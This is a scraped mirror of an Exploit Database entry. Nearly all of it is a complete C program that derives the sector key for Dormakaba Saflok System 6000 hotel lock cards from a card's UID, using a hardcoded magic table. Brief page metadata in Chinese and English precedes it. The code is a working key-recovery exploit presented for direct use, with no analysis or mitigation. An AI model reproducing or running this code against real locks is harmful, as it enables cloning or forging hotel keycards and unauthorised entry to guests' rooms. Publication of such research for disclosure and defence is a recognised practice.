Saflok – Key Derication Function Exploit

• Exploit Database
• 13 阅读

• 作者： planthopper3301
  日期： 2024-02-28
• 类别：

  • local
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51832/

• // Exploit Title: Saflok KDF
  // Date: 2023-10-29
  // Exploit Author: a51199deefa2c2520cea24f746d899ce
  // Vendor Homepage: https://www.dormakaba.com/
  // Version: System 6000
  // Tested on: Dormakaba Saflok cards
  // CVE: N/A
  
  #include <stdio.h>
  #include <stdint.h>
  
  #define MAGIC_TABLE_SIZE 192
  #define KEY_LENGTH 6
  #define UID_LENGTH 4
  
  int main(int argc, char *argv[]) {
  if (argc != 2) {
  printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]);
  return 1;
  }
  
  uint8_t magic_table[MAGIC_TABLE_SIZE] = {
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x43, 0x58, 0x0D, 0x2C, 0x9D,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFF, 0xCC, 0xE0, 0x05, 0x0C, 0x43,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x34, 0x1B, 0x15, 0xA6, 0x90, 0xCC,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x89, 0x58, 0x56, 0x12, 0xE7, 0x1B,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xBB, 0x74, 0xB0, 0x95, 0x36, 0x58,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFB, 0x97, 0xF8, 0x4B, 0x5B, 0x74,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xC9, 0xD1, 0x88, 0x35, 0x9F, 0x92,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x92, 0xE9, 0x7F, 0x58, 0x97,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x16, 0x6C, 0xA2, 0xB0, 0x9F, 0xD1,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x27, 0xDD, 0x93, 0x10, 0x1C, 0x6C,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xDA, 0x3E, 0x3F, 0xD6, 0x49, 0xDD,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x58, 0xDD, 0xED, 0x07, 0x8E, 0x3E,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x5C, 0xD0, 0x05, 0xCF, 0xD9, 0x07,
  0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x11, 0x8D, 0xD0, 0x01, 0x87, 0xD0
  };
  
  uint8_t uid[UID_LENGTH];
  sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]);
  
  uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F);
  uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11;
  
  uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte};
  uint8_t carry_sum = 0;
  
  for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) {
  uint16_t keysum = key[i] + magic_table[magickal_index];
  key[i] = (keysum & 0xFF) + carry_sum;
  carry_sum = keysum >> 8;
  }
  
  printf("Generated Key: ");
  for (int i = 0; i < KEY_LENGTH; i++) {
  printf("%02X", key[i]);
  }
  printf("\n");
  
  return 0;
  }